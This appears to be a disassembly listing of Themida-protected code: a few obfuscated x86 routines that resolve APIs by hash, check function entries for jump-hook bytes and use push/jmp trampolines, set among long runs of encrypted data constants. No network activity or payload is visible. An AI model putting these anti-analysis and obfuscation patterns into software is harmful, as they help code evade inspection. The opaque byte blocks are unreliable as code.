dd 9E9E3B5Bh, 13D4BD8Bh, 3DEA7F21h, 80E8ECEBh, 80E994E1h
dd 1CFFFFFFh, 665177D3h, 126C3F42h, 0EDE9h
db 0
; =============== S U B R O U T I N E =======================================
sub_5CE57D proc near ; DATA XREF: Themida_:0054E4A4o
pusha
mov ax, ds
test al, 4
jz loc_5CE668
mov esi, [ebp+6101441h]
cmp esi, 0
jnz loc_5CE5BA
mov byte ptr [ebp+61023E5h], 45h
push 8E726969h
push dword ptr [ebp+6101499h]
lea eax, [ebp+613858Ah]
call eax
mov [ebp+61009ADh], eax
mov esi, eax
loc_5CE5BA: ; CODE XREF: sub_5CE57D+15j
cmp byte ptr [esi], 0E9h
jnz loc_5CE5F4
lea eax, [ebp+6159D95h]
call eax
mov edi, [ebp+6102955h]
add edi, 1184h
mov esi, [ebp+6101441h]
xchg esi, edi
mov ecx, 8
rep movsb
mov esi, [ebp+6101441h]
lea eax, [ebp+613C1E7h]
call eax
loc_5CE5F4: ; CODE XREF: sub_5CE57D+40j
mov esi, [ebp+6100875h]
cmp esi, 0
jnz loc_5CE625
mov byte ptr [ebp+61023E5h], 54h
push 0FF4EBEF4h
push dword ptr [ebp+6101499h]
lea eax, [ebp+613858Ah]
call eax
mov [ebp+6100875h], eax
mov esi, eax
loc_5CE625: ; CODE XREF: sub_5CE57D+80j
cmp byte ptr [esi], 0E9h
jnz loc_5CE668
mov esi, [ebp+6100875h]
lea eax, [ebp+6159D95h]
call eax
mov edi, [ebp+6102955h]
add edi, 1184h
add edi, 8
mov esi, [ebp+6100875h]
xchg esi, edi
mov ecx, 8
rep movsb
mov esi, [ebp+6100875h]
lea eax, [ebp+613C1E7h]
call eax
loc_5CE668: ; CODE XREF: sub_5CE57D+6j
; sub_5CE57D+ABj
popa
retn
sub_5CE57D endp
; ---------------------------------------------------------------------------
lea eax, [ebp+6183112h]
mov [ebp+6103039h], eax
jmp loc_5CE6B4
; ---------------------------------------------------------------------------
db 62h
dd 145447h, 0Dh dup(0)
; ---------------------------------------------------------------------------
loc_5CE6B4: ; CODE XREF: Themida_:005CE676j
jmp loc_5CEB55
; ---------------------------------------------------------------------------
push 6183377h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61833E3h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6183521h
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 0C6h
dd 0EE6DE124h, 0CC4BFF36h, 0D960DC15h, 0B645F936h, 7157D312h
dd 645E715h, 0E122C352h, 0FD38EE6Dh, 0DC11BA41h, 98936D60h
dd 6BD44E2Ah, 0D747CDCAh, 7C4002A9h, 2ADD6DCCh, 453D39EDh
dd 80BD72E9h, 0FD3CF06Bh, 0A4D99209h, 1BFA1CAh, 9255BA0h
dd 0FE156AF4h, 6E528B42h, 6134AD5Ch, 29B067FCh, 6A304D82h
dd 0EB5302EEh, 0A943C27h, 0CE1FDA79h, 0AE397ADAh, 2D6h
dd 37BA151Ch, 6A213BA0h, 67FC20F9h, 0D586411Dh, 91463EE0h
dd 98935261h, 9146092Ah, 71216203h, 0E1FFD1F5h, 4609982Ah
dd 0CBA07C91h, 5D10CBB5h, 0D7622F1Ch, 8100E7F9h, 5AEEBF6Ch
dd 61789B76h, 0A24E72ADh, 225D11C8h, 88D5F26Eh, 6E906A71h
dd 37D31C7Dh, 0C16871F8h, 9BB69901h, 8C7489E5h, 86D3579Dh
dd 5973EF91h, 4F02DE2h, 4B354B20h, 78DEE722h, 658281E6h
dd 5EF735EEh, 6A1DF5F3h, 30A7233Fh, 2B954277h, 0E5438014h
dd 2E9A831h, 0BBB0000h, 0DF8514C8h, 0A534A8h, 0DF8413C7h
dd 0FDAF26A2h, 0E01C0ABEh, 0CB7FBE72h, 0E458994Ch, 0C276B155h
dd 0E3578C33h, 0AD1514E8h, 496BD44Fh, 96D7E06Ch, 0B9EDEC66h
dd 2FCEAB7Ch, 721933A8h, 67F4E1C0h, 5E994D44h, 3FF16882h
dd 9D89BE65h, 7A01BD99h, 0B46FCD6h, 0D16C3BE7h, 629424E1h
dd 0CFC774A9h, 0A14A0234h, 27DE4F5h, 9F4F0000h, 0B359E05Ch
dd 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h, 0C783C266h
dd 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh, 4D6BD44Fh
dd 0BD5CC450h, 39324C1Eh, 31EF126Ch, 0D5782F79h, 66CCB794h
dd 7C67F4A2h, 0D9CD0ABDh, 9E7A805Dh, 4BF7B2CCh, 0AB942426h
dd 10346D14h, 26F74B3Eh, 130F9424h, 0A5214836h, 48942426h
dd 80BF71E8h, 0BC39D86Bh, 3982CFF1h, 15DD1h, 79323B00h
dd 92395044h, 7584E15Dh, 0EF6A9466h, 130F0338h, 116C4D36h
dd 0BE9A67FCh, 973B83D2h, 0A9DA9423h, 3F1EEF0Ah, 31FE397Bh
dd 4C000000h, 4C1EBD5Ch, 0C704A732h, 7CD8F9B2h, 0E23E67FCh
dd 83DF672Eh, 853E9423h, 36C20BEEh, 3932397Bh, 0E8F0366Fh
dd 0FA35D940h, 0B54F01D6h, 0BD000000h, 50447932h, 6AA95BDEh
dd 169DBAB6h, 483F3372h, 0C9906A9Fh, 110DEA25h, 209CD17Ah
dd 0CC01FF69h, 6297506Dh, 587A99E6h, 173A7E0h, 718B67A9h
dd 65269C8Fh, 62BE9233h, 88B87385h, 689805A8h, 0C567F20Ch
dd 16E8D286h, 201FAF13h, 6CEB4794h, 0AD897DB4h, 226103D0h
dd 6CA27B5h, 0AC3DE94Ah, 13Fh, 0AA1E6111h, 8A3E752Bh, 0A11D560Bh
dd 8438751Ah, 981453F5h, 802456B2h, 5B0E8D41h, 73179E1Ah
dd 4EF58438h, 0D6AAA519h, 0D4496FD3h, 0A22A876Bh, 245D04D7h
dd 9035F470h, 17B98257h, 0CBE094CFh, 3AED8CE0h, 41FDD9FDh
dd 8D4111BAh, 2CBA6E52h, 235E04D7h, 6D68D46h, 0F5712560h
dd 0AFCEFFD1h, 987DA82Ch, 79100EEBh, 0C4219DD2h, 0D5D4A635h
dd 67FC0BECh, 7D3C0E0Ah, 0EED08CCBh, 877BB86Bh, 69D5CEABh
dd 0BE943C0Eh, 53943505h, 2B9FC39Fh, 0CDB9F8ACh, 0A6DCh
dd 0A9D73000h, 0CC7C4002h, 8C3C6F6Dh, 0DFB48923h, 0C716332Fh
dd 0DAD1AB30h, 67F4CA7Ch, 0D1B8A698h, 9424CE71h, 50F29995h
dd 7F9424CEh, 0DC10BB4Bh, 9C9888F0h, 16CDCCB8h, 35EE6DE1h
dd 8C451400h, 67EA68E6h, 63A24615h, 596B3AFh, 0EB20C76Eh
dd 0CEA44A11h, 0CF8DC19h, 0C8B5328h, 53721E53h, 27556AB0h
dd 0CA2E0306h, 4B0AE627h, 0AFB35F94h, 43E8DF93h, 0C77B1A06h
dd 0F291988Ch, 48FB6D53h, 0AADF88A9h, 0D88D4C2Eh, 31D4F39Fh
dd 3CF7D4F0h, 0BD7C4E83h, 319FCC0Bh, 0E5CE266Ah, 0DCCDB98Eh
dd 3, 326D5F30h, 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh
dd 34533F7Eh, 26A55190h, 39504481h, 30A75B94h, 0CF554178h
dd 815E5456h, 4C6h, 4EE8300h, 5C243487h, 1CE768h, 241C8900h
dd 491C68h, 243C8900h, 18326C68h, 241C8B06h, 4C481h, 8B540000h
dd 0C483243Ch, 4EC8304h, 8F241C89h, 3C8B0847h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 3
db 25h
; ---------------------------------------------------------------------------
loc_5CEB55: ; CODE XREF: Themida_:loc_5CE6B4j
mov eax, 6183685h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 7B50h
dd 4069636Fh, 16C21B8Fh, 1926483Ch, 7D961A38h, 754E54BFh
dd 51325655h, 0D25D751Eh, 0E0D00622h, 80294C7Dh, 3E2A200Dh
dd 6710AFBh, 1BF70A96h, 42FC7A61h, 0DF72421Dh, 551A46A1h
dd 54266DAh, 54EB3879h, 0A1BB0973h, 0B53F243Bh, 79EF3FF8h
dd 298F3221h, 0D45213F3h, 47A8414Ch, 162732D3h, 8D8D1B7Ah
dd 61837ECh, 9A99D8Bh, 0B70F0610h, 0F58D89F3h, 0E9061009h
dd 13h, 0C7707840h, 0C680FB67h, 0E4009226h, 6B0A9712h
dd 0C7E45B7Dh, 10231985h, 618406h, 0D0816600h, 85C758D7h
dd 61022C1h, 0
; ---------------------------------------------------------------------------
xor [ebp+6100F91h], ebx
push dword ptr [ebp+61000CDh]
jmp loc_5CEC22
; ---------------------------------------------------------------------------
db 7Fh, 0F7h, 0AAh
dd 7788670Eh
db 0ECh, 0D4h
; ---------------------------------------------------------------------------
loc_5CEC22: ; CODE XREF: Themida_:005CEC14j
sub [ebp+6101275h], edx
call dword ptr [ebp+6102DB9h]
push 0
push edi
call sub_5CEC39
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CEC39 proc near ; CODE XREF: Themida_:005CEC31p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5CEC39 endp
; ---------------------------------------------------------------------------
db 3Ah, 0Fh, 8Fh
align 10h
push 0
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_5CEC9A
; ---------------------------------------------------------------------------
dd 0B129F951h, 6D69C59Dh, 7746807Bh, 271B65EAh, 124FBEE6h
dd 0CC5CB780h, 0CD110717h, 3E4F9AD8h, 24B89327h, 8A1F0C0h
dd 0E87602Eh, 747CBA3Ah, 1B797235h, 800D1BDBh, 0A8A84D18h
; ---------------------------------------------------------------------------
std
pushf
loc_5CEC9A: ; CODE XREF: Themida_:005CEC5Aj
jmp loc_5CECB9
; ---------------------------------------------------------------------------
db 9Eh
dd 524B1551h, 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h
db 0
; ---------------------------------------------------------------------------
loc_5CECB9: ; CODE XREF: Themida_:loc_5CEC9Aj
jmp loc_5CFD35
; ---------------------------------------------------------------------------
push 6183A49h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6183B58h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6183DC6h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6183EECh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 618421Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61842B7h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61842F6h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61843CEh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 618444Bh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61844BBh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 618465Ah
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 618476Dh
jmp loc_5534D8
; ---------------------------------------------------------------------------
dw 0C767h
dd 9B51C884h, 0BC71E864h, 9B50C783h, 0B96BEA5Eh, 0BCC8BE7Ah
dd 0DF5B9A4Eh, 0B874B558h, 0D6528D41h, 0B773A85Fh, 8141E8D4h
dd 656BD444h, 4D7BC88h, 0F36F235Eh, 71A65DD6h, 285D0685h
dd 6EA95D7Ch, 401E1082h, 0CC7CF949h, 2C411D6Dh, 9239F897h
dd 3CFFE15Dh, 0D95D4988h, 5B70AD62h, 71ED2CE0h, 180C41EAh
dd 1995CA81h, 9CAE2DCCh, 2352F7C2h, 0CC7CDA68h, 2DE3A6Dh
dd 7C8141E8h, 9656DCCh, 111237F4h, 78F467FCh, 8027B28Ch
dd 0C9752E4Bh, 2C942397h, 0A9DE8554h, 7650EFD4h, 150142E3h
dd 6A433C11h, 4A397B3Eh, 36h, 1EBD5CC0h, 7C745D4Ch, 969267FCh
dd 194EF5C4h, 32F4096Dh, 3C7CDB63h, 0E2B46C94h, 21D5F12Ch
dd 0D8CC01AAh, 309C33CEh, 50952C47h, 397B357Dh, 0E35Dh
dd 4D7AF00h, 8C47245Dh, 78F29ED3h, 0B0CA0CC1h, 9FB6AFEFh
dd 5AD6CAA6h, 0D312B67Dh, 0CAFFA81Fh, 0D308BFD6h, 0B135B057h
dd 5D066DCCh, 7E25B428h, 0FEA43749h, 0BF8A6C3h, 73AE54ECh
dd 0ADBFA37Fh, 44FEADD3h, 0A06DCCD7h, 43FFAAC4h, 0A36DCCD7h
dd 0E8F9B2C7h, 0E67FCA1h, 0E0D56D1Ch, 3531943Ch, 0B1489D11h
dd 301B502Ah, 0FB4742B0h, 1B943C65h, 21241A3Fh, 27391F3Ch
dd 0DEF05239h, 1814943Ch, 16EB4843h, 2F2B9E0Ah, 0ABEA9E1Dh
dd 0C504A82Fh, 37459318h, 3AAB7B40h, 0DE0h, 520649E9h
dd 72E61DC3h, 49053EE3h, 6CE01DD2h, 40FC3BEDh, 18CC3E4Ah
dd 33D665D9h, 0BBF36F2h, 26DD5CD0h, 6E523DF1h, 0D44607BBh
dd 3A02DF6Bh, 62497E32h, 6DCC7CE0h, 324C2804h, 0DBC704A7h
dd 3DBC8257h, 4FDD5186h, 4C1EBD5Ch, 0C803A732h, 7CDBF8B3h
dd 0D63B67FCh, 0CC9910C2h, 0A2BC98ECh, 41357617h, 241608E5h
dd 98B5F295h, 236953EBh, 0A0BEB294h, 236959E9h, 8A58BD94h
dd 0EA3FCDB3h, 93284521h, 2B8F9FCh, 0C898397Ch, 0F2000000h
dd 2A447932h, 0A5C2F9AFh, 0EF2EE2F9h, 6CA95EDDh, 0DF9FBCB8h
dd 0CC012DB8h, 1045FE6Dh, 96661D9Ch, 7BC7C2EDh, 9B923387h
dd 73EFA3BFh, 0C74EA34Fh, 524F3A14h, 749803F1h, 0D8DF44F8h
dd 6489C068h, 0C908334Bh, 0A1BB9725h, 15E058EAh, 8E60BC9Eh
dd 0DA19CBh, 805D9239h, 0A4E7E4B6h, 235DBB00h, 0CC8DD603h
dd 0BA46AAC6h, 2A72169Dh, 0B276C4E5h, 298EB2E0h, 403693AEh
dd 0D1019282h, 0DA00000Ch, 0C239F538h, 0E057D30Ah, 0BD3CF029h
dd 8A11CD0Ah, 3533A7E6h, 0AAE99BC9h, 0C506A72Eh, 0A1DC9209h
dd 0C0F5AE2Dh, 6C1F210Ch, 6BD447D6h, 32EBB12Eh, 532D3F7Eh
dd 0CC7CEA58h, 970E0A6Dh, 66CAB6F5h, 954ECD91h, 0D75EEC60h
dd 7C4002A9h, 29DD6DCCh, 6E1E02EEh, 0A55ED5F2h, 0A66D5E70h
dd 2F6C1F83h, 0DD98830Ah, 0E087FE00h, 0CE782FABh, 5F6DCC6Eh
dd 47416AA8h, 814DD212h, 65A6CBB5h, 0F7DBF70Ah, 73B256E5h
dd 44FEAD7Fh, 0A06DCC3Fh, 13CBA0C4h, 0FAA6DB84h, 0DC13B980h
dd 0C1FEB128h, 587551D5h, 37E624DBh, 16D320FBh, 8CC1B591h
dd 4D7E58F7h, 0EF7BBBE0h, 0DB587593h, 803BEF24h, 336A502Dh
dd 0AE0Dh, 5E4D3300h, 6DCCA6E4h, 0CA358DCBh, 0EAA256BAh
dd 5CD3596Eh, 5D4C1EBDh, 67FC0264h, 0ABFAA682h, 94238613h
dd 0A822C1F2h, 4E427D31h, 0AF02F5D2h, 8F397B2Fh, 77h, 2A9D7FDh
dd 6DCC7C40h, 0F8B3C8A4h, 6DCC7C4Fh, 0DEF0EB0Ah, 7CB90900h
dd 0F85D6DCCh, 0C9C2D49Dh, 9AAF932Dh, 4202C3C6h, 60BC67FCh
dd 1FD912ECh, 2806405Dh, 3AE625C7h, 763D1A36h, 12DF93D2h
dd 306D803h, 9E0C3E16h, 0DD16CB8Eh, 0AA1EFA00h, 4346772Bh
dd 9E2C52FFh, 4B371B17h, 627C5F76h, 48B14F7Ch, 217B3FA6h
dd 0F0BA5F4Ch, 0D04C941Ch, 89FEB5Ch, 5C610000h, 324C1EBDh
dd 32452139h, 1E3B3521h, 0FC438465h, 0FAA68267h, 3C4713ABh
dd 22C1F294h, 3F8031A8h, 0EE9C752Ah, 0DF0C397Ah, 0A1D60581h
dd 0E1D1BA2Bh, 44475E8Bh, 148C4419h, 0B2000000h, 5D498227h
dd 22804D9h, 6DCC7C44h, 0FBE0C374h, 5C39FFFFh, 69F415BDh
dd 0A0892D5Fh, 0ACC8ACEDh, 0C4D2D7D2h, 78F467FCh, 31917866h
dd 0D5943CC4h, 0D3828459h, 943CC46Bh, 9F5AF98Ah, 397A724Eh
dd 5002Eh, 0C7159C00h, 36489322h, 0FC20EE73h, 0AE53E667h
dd 0CBA58175h, 23A062E0h, 0D1A68294h, 29D255D1h, 42E6F1BEh
dd 0ADBF1CBBh, 0D6B205FEh, 6B85E137h, 2B292C82h, 0D8F5406Fh
dd 0A13AD926h, 0DCCFB1CFh, 27D62E66h, 4FF3A27Eh, 0E027D62Eh
dd 1E02EE2Bh, 3D5F26Eh, 0E1D32008h, 6A84E02Dh, 3BF6A94h
dd 0E329CAB1h, 42E97287h, 21CA510Dh, 62667FECh, 6E26F7ECh
dd 0A6365h, 77BA6C00h, 558C34C3h, 72AB62D9h, 4F8C3FB6h
dd 69A85CDBh, 598BF7F5h, 35C478B7h, 60D75394h, 3CBB6FAAh
dd 0EFDA4E83h, 41A41E0Dh, 63406BD4h, 447932D9h, 87546350h
dd 17D08B75h, 15322EE2h, 0FC11356Eh, 7B55D167h, 5BCF0AC0h
dd 11EB26DCh, 7AB7DDDCh, 502DD733h, 65BB074Eh, 0DA649423h
dd 95942315h, 5D835D7Eh, 237514AEh, 5774F094h, 28DC5F81h
dd 24393DE9h, 1324DA67h, 0EA9F1A9Eh, 0A472D0BBh, 96929E12h
dd 81DD9DBAh, 0A478C695h, 16CD9E12h, 0F29635E1h, 0A758BFB3h
dd 0A0D3C408h, 0F09BC501h, 9E12A452h, 0FFF34EBh, 1266410Ah
dd 431F6245h, 5BA07126h, 2C803F8Ch, 0CA000000h, 4C1EBD5Ch
dd 48FA1E1Fh, 0CC6FE161h, 4429056Dh, 0B794B3D0h, 46FCBFA1h
dd 5B964C0Bh, 0F764857Eh, 462267FCh, 2E495Ah, 5CC30000h
dd 5D4C1EBDh, 67FC1B34h, 498629B0h, 0FE04D95Dh, 35364822h
dd 8F79B8DEh, 9032D956h, 0AD942315h, 6CC8BCFBh, 2E691DB4h
dd 43493512h, 97447932h, 0B3EAAF74h, 3D9B0C18h, 46000009h
dd 6EED61A4h, 4CCB7FB6h, 59E05C95h, 36C579B6h, 0F1D75392h
dd 86C56795h, 61A243D2h, 7DB86EEDh, 5C913AC1h, 1813EDE0h
dd 6BD442AAh, 5CC74D4Ah, 5D4C1EBDh, 67FC2BE0h, 2A3419FEh
dd 0E8C87327h, 3F76E7E1h, 864521DBh, 74F0A4E1h, 7E25A450h
dd 675FF440h, 0A9CDE98Fh, 0D9904B35h, 0E7E0CBA0h, 0DDFF6C3Bh
dd 5A1605F0h, 0E3F8E870h, 0E8647782h, 8D5F7C9Bh, 0CC938760h
dd 1DD20AF7h, 4AD704E0h, 0B03911E0h, 77324623h, 0B55F291Ah
dd 6DAE5FDAh, 0E28E8A90h, 0F4063DE3h, 63984F0Ah, 5F6E0EB4h
dd 0CB8AE6A1h, 492DD91Ah, 0BE55AA34h, 503C0314h, 99BD839Fh
dd 0DA7FC4C7h, 9B97AB6Fh, 0BA06C0E7h, 0CEE5AB4Fh, 645FB237h
dd 0B1CF6CE7h, 4FC248FAh, 9BB0ACABh, 15435h, 0BD5C9700h
dd 0E05D4C1Eh, 0FE67FC2Bh, 0ADC57D2Ch, 45219423h, 0AD567521h
dd 2CD36678h, 825CE2F7h, 698BF649h, 6C81A3E7h, 0F0338EFh
dd 6C827F48h, 740BB4FFh, 0E0CBF6ADh, 0BF680662h, 0ECAA682h
dd 0F7ABE087h, 274C97B0h, 0BBB5D4h, 25E1247h, 76BF56E5h
dd 0B4CFDCDh, 4A411B17h, 0C69543F8h, 4A24401Ch, 0FFAADB8Fh
dd 0C6954343h, 0F7ABC7A3h, 61D85E7Bh, 368C7FAAh, 0CEC69543h
dd 0A8826E52h, 5D4C7D31h, 0C69543E5h, 55412501h, 77B65AD1h
dd 33D2A78Bh, 94C62BA7h, 30F62C95h, 95243A14h, 0BC58AAF4h
dd 75B5E707h, 0AC1A551h, 0FC782C61h, 65FE24DFh, 0E574C695h
dd 984F0641h, 98948663h, 0A338BF24h, 1F5E12C9h, 6DAEF73h
dd 0A51DE203h, 0FCA9CCCh, 0CE742358h, 26C8856Dh, 8554264Ah
dd 4AF8B3DEh, 0AAC8856Dh, 82DE92AEh, 6922B965h, 4A017834h
dd 0BC98D57Ah, 6D49A1C8h, 4D23C885h, 1E9DD88Eh, 6C4F2C69h
dd 5E934CD5h, 0A64910EAh, 0A4B9BD69h, 0F125A5E7h, 9E3DC054h
dd 24F4AB2Ah, 0D65A467Bh, 135F06FAh, 0D0D7737Ah, 1AD150EFh
dd 39F269E5h, 14A31004h, 4E68DAD1h, 908CC761h, 2AEF9AB4h
dd 0DCCD5116h, 67F2CC80h, 0F87186C5h, 3Ch, 1EBD5C44h, 8BC5D4Ch
dd 0CE4A67FCh, 0C6FDA322h, 86471512h, 0B5C714A8h, 239254F6h
dd 9AB4B094h, 0F22CD3B1h, 0F13FF3Eh, 57B80D2Ah, 0BFA17F82h
dd 23AE76CCh, 52F78E94h, 84203D19h, 2A97932h, 795DD9CDh
dd 0F22FD467h, 914522FEh, 2436A534h, 0FC192465h, 7486E267h
dd 0E01BCF8Ah, 0B4F39534h, 4A00BB90h, 661C9B0Fh, 0F39FDA90h
dd 529F536Fh, 434618C3h, 9E13F21Eh, 0A1C8BCB8h, 9E13C225h
dd 34469524h, 2393CC75h, 422E2A94h, 3F1AB13h, 9A394A80h
dd 9BA88E5Fh, 853BFE45h, 0A9BEA24Eh, 3047h, 0BD5C8500h
dd 0D68D4C1Eh, 5C71F5A1h, 8648584h, 0AB2267FCh, 6BC7BBF8h
dd 28172F7Eh, 472B0C3Dh, 2C4A5Bh, 88760000h, 234221A1h
dd 9469C594h, 1EBD5CB8h, 1B345D4Ch, 0BBD267FCh, 0FAB1CB08h
dd 94239D48h, 0BA94B0ACh, 588C0791h, 14E9ED7Bh, 79326412h
dd 0AF7A9744h, 212B3EAh, 60B91h, 2F721400h, 0D44FC7Bh
dd 0EA23CA51h, 744E76Eh, 0E120C453h, 0D1037F6Dh, 0ED6CE01Fh
dd 0B83FFB3Ch, 0D463D712h, 4742F62Bh, 3E0CB675h, 0BE86BD4h
dd 4596D741h, 0BF7F0E69h, 95320CE1h, 84568594h, 0FC311C85h
dd 0E35EBA67h, 68BBCE34h, 10B5845Ah, 546302D7h, 5269097Eh
dd 0CB80C841h, 0BC8EB28Eh, 397217A2h, 5C994E4Dh, 0D3A8CCA8h
dd 55CA87D8h, 4F431F50h, 76885362h, 65F37DB3h, 47191556h
dd 0B1ECA219h, 0CF8C61C5h, 0F067E318h, 22550237h, 6E986325h
dd 5722DB6h, 0CB7B0000h, 9F45D488h, 0C065F468h, 9F44D387h
dd 0BD6FE662h, 0A0DCCA7Eh, 8B3F7E32h, 0A418590Ch, 82367115h
dd 0A3174CF3h, 6DD5D4A8h, 896BD43Eh, 7932A02Ch, 0AF569744h
dd 0EEA6B3EAh, 533E5h, 478A3C00h, 255C0493h, 427B32A9h
dd 1F5C0F86h, 39782CABh, 97B8785h, 25B42867h, 10874384h
dd 2CAB1F5Ah, 9F8A3E73h, 3E54EE9Dh, 33B06BD4h, 44793269h
dd 0EC546350h, 0E12FE33h, 8D711832h, 7967F434h, 5571AC62h
dd 0D36D8CD9h, 260AF62Dh, 0D479304Ah, 329E1BD6h, 0A31B4A36h
dd 429E1BDAh, 96579231h, 63F9383h, 81568D33h, 9ECFh, 1C0FF100h
dd 9E1BE2A6h, 3F05E23Eh, 0A138B915h, 0F869203Ah, 1E67FC20h
dd 28432842h, 0DFCF3747h, 38DF708Dh, 0A7283DE0h, 0EB28DB5Eh
dd 0FC464537h, 1847245Dh, 0C223381Ch, 0A8D6A833h, 4E427D31h
dd 0F50EF5D2h, 914D1438h, 514E195h, 270504D6h, 0DF432385h
dd 39F26983h, 1AD14804h, 0D03D78E5h, 8591AD2Eh, 45B14h
dd 7FC26400h, 5D944CCBh, 7AB35AE1h, 579437BEh, 71B054E3h
dd 41B3CFBDh, 5DDC508Fh, 68EF6BACh, 44D387C2h, 0F7F2669Bh
dd 3FBC0605h, 5B586BD4h, 7840D1h, 5C8C0000h, 5D4C1EBDh
dd 67F434A9h, 0FA484335h, 1A942BB4h, 9148223Eh, 2B620ADAh
dd 63D7FB77h, 0AF62BD4h, 0A3BD1EB5h, 1BC3D7E8h, 3F332F9Eh
dd 66786372h, 2BB19EA3h, 0AA617894h, 0B7EC5175h, 0FF5E2D05h
dd 3DEBE27h, 47E70000h, 1BD14804h, 3CF168E4h, 1BD04703h
dd 39EB6ADEh, 3C483EFAh, 5FDB1ACEh, 38F435D8h, 56D20DC1h
dd 37F328DFh, 1C16854h, 0E56BD438h, 40023C08h, 826DCC7Ch
dd 2BD714B7h, 0CD793247h, 76DCC7Ch, 78558C34h, 0F30DCEE5h
dd 9594BF68h, 6DCC7C2Dh, 9D896DC9h, 0ED9CC499h, 67F43409h
dd 0E8D79F5h, 6CBB2055h, 0A04A0D67h, 36EE3F4h, 0D7770000h
dd 0EBA11894h, 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh, 0ACD8CE8Ah
dd 8F4B8A3Eh, 0A8246508h, 86427D31h, 0A723580Fh, 71D1B8C4h
dd 956BD438h, 79328C18h, 7CE75B4Eh, 0AACA6DCCh, 711A911h
dd 60D7534Bh, 0A05470A9h, 6A21C453h, 6DCCFCD8h, 0EA04E03Ch
dd 8E82B96Fh, 0BDA3B592h, 390E47FEh, 0FC8D5552h, 2FEC7167h
dd 0F64C3F09h, 0E943C1Eh, 2B2B2512h, 94B0EDA2h, 1C386F15h
dd 5CEDE9A0h, 0AE620225h, 883CBB6Fh, 58E35D49h, 0A56476B3h
dd 0E23B5B1Dh, 0FD607DF9h, 669F46FAh, 7943ADBAh, 5F1F091Ch
dd 11EB5F83h, 0C3EB98DCh, 0CA9FD4C9h, 5E04D702h, 0D68D4623h
dd 539ECFA1h, 24510C2Fh, 45444217h, 90F5699Eh, 2D494989h
dd 0AA6DB20Ah, 0FCAB4C6h, 0F175215Ah, 800A2FDCh, 20FC67FCh
dd 7992574h, 477C943Ch, 0AE844DA8h, 3964397Ah, 0A6000000h
dd 4C1EBD5Ch, 0C902A732h, 7CDAF7B4h, 441A67FCh, 2383FD45h
dd 0D7E9E494h, 0E9A87776h, 0CB7E3D39h, 0B1AD6D8Ah, 0AF2896C5h
dd 0B8CB9423h, 6311DC19h, 0AFF1397Bh, 5B000000h, 3A97932h
dd 20570DCCh, 97395044h, 762DAC58h, 8D365541h, 0FB38658h
dd 35E626CBh, 4E72C1EEh, 9B06C579h, 6C6DCC1Ch, 0ED6C7EB3h
dd 10140037h, 4BF4833Bh, 7E956A16h, 4388835Dh, 367FC17h
dd 0C74EB327h, 7B4F3A14h, 8B9E0AB0h, 4AFEBD8Fh, 0DE0FF10Bh
dd 0F40A9251h, 5BD6C4Eh, 1A9E1114h, 0EC483875h, 1CD0470Fh
dd 0C7C770DDh, 0AF674037h, 1CF26h, 0F336D800h, 0D108C037h
dd 0EE27DE5Dh, 0CB08BB3Ah, 0A5E4880Fh, 95C74329h, 81F8B4F3h
dd 9C1B8FD0h, 0A82FABE6h, 1B0ECAFFh, 3AD86A21h, 5F3C6BD4h
dd 3F7E32D5h, 1E530C8Bh, 0BD5C1CAAh, 745D4C1Eh, 7067FC7Ch
dd 160A45E9h, 0E13D3D1Ah, 7CD86635h, 453B943Ch, 7CD2701Bh
dd 3632943Ch, 0E7E38221h, 397522E6h, 0FBD07794h, 7A6DA904h
dd 0DB8939h, 0D7030000h, 0E68A5C04h, 5B77FBA7h, 0D90EB57Eh
dd 0DF88532Dh, 5D7AF6AAh, 0FFF332D6h, 0CC01CD58h, 30651E6Dh
dd 7517A27Ch, 11E64A36h, 1FD1A14Ah, 0BC689F45h, 8CE89CB8h
dd 34E017CDh, 113A1430h, 46F81B67h, 5945223Bh, 0BC8E4D6Ch
dd 0F342A9A2h, 0A930BD15h, 33384002h, 0ACC8A492h, 386BD7D2h
dd 8F8B9233h, 4B08D1BAh, 1D9C9803h, 661C3166h, 926C4E0Ah
dd 234D2B97h, 7A4FCB94h, 3D0FCCEBh, 15809D4Eh, 1DC6079Eh
dd 943F361Eh, 0DA564C21h, 58973900h, 74B355E4h, 366974C7h
dd 7B6C3840h, 0BCh, 66E225C5h, 460239EFh, 6DE11ACFh, 40FC39EEh
dd 64D817B9h, 44E81A66h, 1FD24905h, 37EB6ADEh, 12B940FCh
dd 926E61DDh, 0D43B2B97h, 46CECB6Bh, 8B3F7E32h, 0AA1E530Ch
dd 6104D71Ch, 0EFA3E485h, 24A34F73h, 0D0544081h, 0A35CD7F4h
dd 45F81A65h, 6E52FA0Eh, 14B7825Ch, 60472BD7h, 6DCC3EE2h
dd 55542602h, 6DCC3EEDh, 4E502D09h, 0DF5B9037h, 96687382h
dd 0F4765F93h, 877BF767h, 0A6225710h, 4F43782Fh, 291E2B08h
dd 18B70821h, 813D7219h, 681C51FAh, 43E6BE71h, 0A032DE02h
dd 0E1587211h, 5FDCF12Eh, 0E5B773A8h, 42AE1DE8h, 0DFFC1864h
